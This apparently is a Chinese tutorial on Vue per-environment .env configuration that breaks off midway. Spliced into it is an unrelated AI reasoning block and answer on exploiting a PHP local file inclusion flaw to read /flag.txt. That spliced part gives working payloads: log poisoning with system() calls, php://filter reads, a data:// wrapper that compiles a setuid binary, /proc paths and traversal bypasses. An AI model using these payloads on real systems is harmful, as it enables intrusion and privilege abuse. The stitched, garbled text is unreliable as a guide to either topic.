vue项目根据不同环境动态配置接口请求ip及全局变量(vue环境变量配置)

文章介绍了在Vue项目开发中,如何根据不同的环境(开发、测试、生产)管理接口请求的IP。通过创建.env文件来设置环境变量,如NODE_ENV和BASE_URL,并在package.json中配置打包命令,实现自动化切换IP。这种方式能避免手动切换IP的繁琐和错误,提高部署效率。

在项目的开发过程中,我们常常会遇到根据不同的环境需要切换不同的ip的问题,例如在项目部署到测试服时需要将接口请求ip替换成测试服的ip,部署到正式服时又需要将接口请求ip替换成正式服对应的ip,有些公司还有预发环境等,这样在每次部署不同环境的项目前都需要先手动切换ip,这样既繁琐又易出错。本篇文章就记录了本人在解决这一问题的详细步骤。

配置步骤

1.在项目的根目录下新建 .env.xxx 文件

vue脚手架创建的项目默认目录结构如下:

根据环境个数在根目录下新增 .env.xxx 文件

 如上,三个 .env.xxx 文件后缀名(文件后缀名可自定义)为development、production、test,可分别对应为开发环境、生产环境和测试环境。如果还需要预发环境,则还可继续新增一个 .env.pre 文件代表预发环境。

每个环境都会加载的变量

如果还需要设置每个环境都需要加载的变量,则可以添加 .env 文件,如果没有,则可以不建此文件。(即每个环境对应变量的变量值都是一样的时候,则可以将变量定义在公用的.env文件中,而对应每个环境的 .env.xxx文件中则不需要再重复定义此变量)

2.在对应环境的 .env.xxx 文件中添加变量

在.env.xxx 文件中只有 NODE_ENV,BASE_URL 和以 VUE_APP_ 开头的变量会通过 webpack.DefinePlugin 静态地嵌入到客户端侧的代码中。

  • NODE_ENV : 主要用于标识当前的环境
  • BASE_URL: vue.config.js 中的 publicPath 选项相符,即你的应用会部署到的基础路径
  • VUE_APP_* : 自定义变量

.env.development(开发环境) 文件代码

.env.production(生产环境) 文件代码

.env.test(测试环境) 文件代码

.env(所有环境都会加载的变量) 文件代码

3.package.json 文件配置对应环境打包命令

vue脚手架创建的项目默认配置如下:

  • vue-cli-service serve:配置默认是使用的development对应环境的环境变量(当然也可以自己手动指定对应的环境,在现有命令后面加上 --mode development即可,完整命令:vue-cli-service serve --mode development), 也就是说执行npm run serve,会将.env.development文件和.env文件里面的变量加入项目代码中
  • vue-cli-service build:配置默认是使用的production对应环境的环境变量, 也就是说执行npm run build,会将.env.production文件和.env文件里面的变量加入项目代码中

添加测试服打包命令(运行命令:npm run build:test)

在package.json文件中的 scripts 对象中添加如下代码:

 vue-cli-service build --mode test :命令中的test对应的是 .env.xxx文件中设置NODE_ENV变量的值,如果没有设置NODE_ENV变量,则默认以 .env.xxx 文件的后缀名为准,如果也找不到.env.test文件,则打包报错,

如果想在本地直接使用测试服的环境变量也可以在package.json 中再配置项目启动命令,配置如下(运行命令:npm run serve:test):

 或者直接修改现有serve 的运行模式: 

配置完成后如何在项目中使用

  • 在请求js文件中,可用于替换请求接口的ip,达到根据不同的环境请求不同的ip的效果
  • 在vue文件中,可当作全局变量使用,类似于在vue中定义的全局常量
  • 在vue.config.js文件中使用,可用于判断当前的打包环境,根据不同的环境进行一些打包优化配置
  • vue-cli的index.html中使用,可用于加载公司统一定义的一些js、css等头部文件(需根据各个环境引入各自的js和css)

1.请求接口的js文件/vue页面中使用

    语法:process.env.变量名称

2.vue.config.js中根据环境变量判断打包环境,进行打包优化配置:

3.在vue-cli的index.html中使用

语法:<%= 变量名 %> html中根据不同环境,加载不同css/js文件

//css文件
<link rel="stylesheet" href="<%= VUE_APP_API %>/header/head.css" rel="external nofollow" >
//js文件
<script type="text/javascript" src="<%= VUE_APP_API %>/footer.js"></script>

html中根据不同环境,加载不同本地js代码

<% if (process.env.NODE_ENV === 'production' ) { %>
    <script>
      window.test = 'xxxx'
    </script>
<% } %>

<think>我们面对的场景是一个存在本地文件包含(LFI)漏洞的PHP环境。目标是通过这个漏洞读取到位于`/flag.txt`的文件内容(这个文件是C程序要读取的flag文件)。然而,在标准的LFI漏洞中,我们通常只能读取服务器上的文件,但这里我们需要读取一个可能只有特权用户(如root)才能读取的文件(因为C程序使用了`setuid(0)`)。但是,在LFI漏洞的上下文中,我们通常是以Web服务器的用户权限(如www-data)运行,这个用户可能没有权限读取`/flag.txt`。 不过,我们注意到C程序被设置了setuid位,这意味着当普通用户执行这个C程序时,它会以root权限运行,从而能够读取`/flag.txt`。但是,我们的漏洞是PHP环境的LFI,我们无法直接执行这个C程序(除非我们能够通过Web漏洞执行系统命令)。 因此,我们需要转换思路:既然我们有一个LFI漏洞,我们可以尝试利用这个漏洞来触发执行这个C程序,或者利用LFI漏洞读取C程序本身,或者通过其他方法间接获取flag。 然而,在PHP的LFI漏洞中,我们通常有以下几种利用方式: 1. 直接读取文件:如果flag文件对Web服务器用户可读,我们可以直接通过LFI读取`/flag.txt`。 2. 利用PHP伪协议:如使用`php://filter`来读取源代码,或者进行base64编码输出。 3. 利用日志文件注入:将PHP代码注入到日志文件中,然后包含日志文件以执行代码。 4. 利用/proc目录:例如包含`/proc/self/environ`或`/proc/self/fd/`下的文件,但需要一定的条件。 5. 利用临时文件:通过上传文件产生的临时文件(结合竞争条件)来执行代码。 但是,这里我们有一个特殊的条件:目标系统上有一个setuid的C程序,它能够以root权限读取flag。因此,如果我们能够通过LFI漏洞执行系统命令,那么我们可以执行这个C程序来获取flag。 所以,我们需要将LFI漏洞转换成远程命令执行(RCE)。常见的转换方法如下: ### 步骤: 1. **利用PHP伪协议读取源代码**:首先确认漏洞是否存在,并尝试读取一些文件,比如`/etc/passwd`来验证LFI。例如: ``` http://example.com/vuln.php?filename=../../../../etc/passwd ``` 2. **尝试包含PHP伪协议**:使用`php://filter`来读取PHP文件的源码,以了解环境。例如: ``` http://example.com/vuln.php?filename=php://filter/convert.base64-encode/resource=vuln.php ``` 3. **利用日志文件注入**:如果服务器记录了User-Agent或Referer等,我们可以将PHP代码注入到日志文件中,然后包含日志文件。例如: - 修改User-Agent为:`<?php system('/path/to/the/setuid/c_program'); ?>` - 然后请求包含Web日志文件(如`/var/log/apache2/access.log`),从而执行代码。 4. **利用其他已知文件**:如`/proc/self/environ`,如果环境变量中有用户可控的部分(如HTTP_USER_AGENT),同样可以注入代码。 ### 具体操作: 假设我们能够通过LFI漏洞包含日志文件,并且日志文件的位置已知(比如Apache的默认日志路径为`/var/log/apache2/access.log`),那么: 1. 使用Burp Suite或curl发送一个请求,修改User-Agent头为PHP代码: ```php <?php system("/path/to/getflag"); ?> ``` 其中`/path/to/getflag`是那个C程序在服务器上的绝对路径。 2. 然后,利用LFI漏洞包含这个日志文件: ``` http://example.com/vuln.php?filename=../../../../var/log/apache2/access.log ``` 这样,当包含日志文件时,其中的PHP代码会被执行,从而运行C程序,C程序会读取flag并输出到网页上。 ### 注意事项: - 日志文件的路径可能不同,需要尝试常见的路径。 - 日志文件可能很大,导致包含失败,因此最好在注入后立即包含。 - 如果服务器有权限限制,Web用户(www-data)必须能够读取日志文件,并且能够执行那个C程序。由于C程序是setuid root,所以只要www-data有执行权限,它就能以root权限运行,从而读取`/flag.txt`。 - 如果C程序不在Web用户的可执行路径中,需要指定绝对路径。 ### 备选方案: 如果无法利用日志文件,可以尝试其他方法,例如: - **利用PHP的phar://伪协议**:如果有文件上传功能,可以上传一个包含恶意代码的phar文件,然后通过phar://触发反序列化漏洞执行命令。 - **利用/proc/self/fd/**:如果服务器上有文件上传,可以通过包含临时文件(结合竞争条件)来执行代码。 - **利用环境变量**:通过包含`/proc/self/environ`,如果其中有用户可控的环境变量(如HTTP_USER_AGENT),同样可以注入PHP代码。 ### 总结: 在存在LFI漏洞的PHP环境中,我们可以通过注入PHP代码到日志文件并包含日志文件来执行系统命令。由于目标系统上有一个setuid的程序可以读取flag,我们只需执行这个程序即可。因此,构造如下: 1. 发送一个HTTP请求,将User-Agent设置为:`<?php system("/absolute/path/to/c_program"); ?>` 2. 利用LFI包含Apache的access.log文件(或其他日志文件) 3. 在返回的网页中,应该会显示C程序输出的flag。 如果C程序的输出被包含在返回的网页中,那么我们就获取到了flag。 ### 相关问题 1. 如何确定Web服务器的日志文件路径? 2. 除了日志文件,还有哪些常见的LFI转RCE的方法? 3. 如果目标系统禁用了一些危险的PHP伪协议(如phar),如何绕过? 4. 如何避免LFI漏洞? 5. 在无法写入日志或环境变量的情况下,如何利用LFI漏洞获取flag? </think>### 利用 LFI 漏洞读取 /flag.txt 的解决方案 在存在 LFI 漏洞的 PHP 环境中(如 `include($_GET['filename']);`),可以通过以下步骤读取 C 程序要访问的 `/flag.txt` 文件: --- #### 🔧 方法 1:直接读取文件路径(需 Web 用户有权限) ```http http://vuln-site.com/vuln.php?filename=/flag.txt ``` - **原理**:直接通过 LFI 包含目标文件路径 - **限制**:Web 服务器用户(如 www-data)需拥有 `/flag.txt` 的读权限 - **调试技巧**: - 先尝试读取 `/etc/passwd` 验证漏洞有效性: `?filename=../../../../etc/passwd` - 使用绝对路径而非相对路径更可靠[^1] --- #### 🌐 方法 2:PHP 伪协议读取(无需执行权限) ```http http://vuln-site.com/vuln.php?filename=php://filter/convert.base64-encode/resource=/flag.txt ``` - **原理**: 1. 使用 `php://filter` 伪协议绕过文件包含限制 2. `convert.base64-encode` 确保二进制安全传输 3. 解码获取原始 flag 内容 - **操作步骤**: ```php // 获取到的内容类似 "RkxBR3tleGFtcGxlfQo=" echo base64_decode($_GET['file_content']); ``` - **优势**:即使 PHP 配置禁用文件包含,此方法通常有效[^1] --- #### 方法 3:结合临时文件执行 C 程序(需上传权限) 当直接读取失败时(如权限不足),可上传 C 程序并执行: 1. **上传编译好的 C 程序**: ```http POST /upload.php HTTP/1.1 Content-Type: multipart/form-data --boundary Content-Disposition: form-data; name="file"; filename="getflag.c" #include <stdio.h> int main() { FILE *fp = fopen("/flag.txt","r"); char flag[100]; fgets(flag,100,fp); printf("%s",flag); } --boundary-- ``` 2. **编译并设置权限**: ```http http://vuln-site.com/vuln.php?filename=data://text/plain,<?php system('gcc /tmp/getflag.c -o /tmp/getflag && chmod +s /tmp/getflag'); ?> ``` 3. **执行程序获取 flag**: ```http http://vuln-site.com/vuln.php?filename=/tmp/getflag ``` --- #### 🔍 方法 4:利用 /proc 文件系统(Linux 环境) ```http http://vuln-site.com/vuln.php?filename=/proc/self/cwd/flag.txt ``` 或尝试其他路径: ```http ?filename=/proc/1/cwd/flag.txt # 初始化进程工作目录 ?filename=/proc/self/environ # 查看环境变量找线索 ?filename=/proc/self/maps # 分析内存映射找路径 ``` - **原理**:Linux 的 `/proc` 虚拟文件系统暴露进程信息 - **优势**:可能绕过路径限制[^3] --- #### 💡 关键注意事项 1. **权限问题**: - 若返回空白页,尝试 `?filename=file:///flag.txt` - Web 用户可能需要 sudo 权限:`<?php system('sudo /path/to/getflag'); ?>` 2. **路径遍历技巧**: ```http ?filename=....//....//....//flag.txt # 绕过简单的路径过滤 ?filename=%00 # 空字节截断(PHP<5.3)[^4] ``` 3. **错误处理**: ```php // 在包含前添加错误抑制符 ?filename=php://filter/<?php @include;?>/resource=/flag.txt ``` --- ### 相关问题 1. 当目标服务器禁用 `php://filter` 伪协议时,如何绕过限制读取文件? 2. 如何利用 LFI 漏洞获取服务器上的环境变量信息? 3. 在无法上传文件的情况下,有哪些替代方法能实现命令执行? 4. 如何检测目标服务器是否存在路径遍历过滤机制? 5. 为什么空字节截断技术在 PHP 5.3 后失效?其根本原因是什么?[^4] > 提示:实际渗透中需配合工具如 Burp Suite 进行路径爆破,常用字典包含 `/flag`, `/flags.txt`, `/root/flag` 等变体。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值